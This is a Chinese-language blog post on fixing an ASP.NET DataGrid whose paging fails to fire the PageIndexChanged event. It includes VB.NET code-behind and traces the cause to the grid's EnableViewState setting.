天天看點

DataGrid 分頁問題:無法響應 PageIndexChanged 事件

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

最近做網站遇到了一個奇怪的問題,在進行DataGrid進行分頁時,無法響應 PageIndexChanged 事件 。

我也查閱了很多關于這方面的文章,可是還是沒有得到解決方案。 在和别人的探讨中發現了症結所在

首先,我先将代碼貼過來:

下面是DataGird控件的HTML代碼(不包含字段綁定)

<asp:datagrid id="SearchGrid" runat="server" width="100%"     autogeneratecolumns="False"  EnableViewState="true"    AllowPaging="True" PageSize="3" PagerStyle-Mode="NumericPages" PagerStyle-HorizontalAlign="Right" PagerStyle-pagebuttoncount="5" onpageindexchanged="SearchGrid_PageIChanged" >

下面是後代碼:

Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

            If Not IsPostBack Then

                BindGrid()

            End If

        End Sub

public Sub SearchGrid_PageIChanged(ByVal s As Object, ByVal e As DataGridPageChangedEventArgs)

            SearchGrid.CurrentPageIndex = e.NewPageIndex

            BindGrid()

 End Sub

Public Sub BindGrid()

            SearchGrid.DataSource = (綁定你的資料源)

            SearchGrid.DataBind()

  End Sub

對與上面的代碼,第一次加載頁面都可以得到正确的顯示結果和頁數,但是切換頁面時不能響應分頁事件

經過跟蹤程式發現切換頁面每次都要調用PageLoad , 我把DataBind移出Is notpostback後,分頁可以正常

說明每次在回送頁面時都要重新給DataGrid加載資料,随即考慮到DataGrid設定了EnableViewState為False

DataGrid資料沒有保留下來,導緻DataGrid隻有在每次加載都重新綁定才能實作保持狀态而正常分頁。

        是以将EnableVIewState設定為True ,問題解決。

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>

繼續閱讀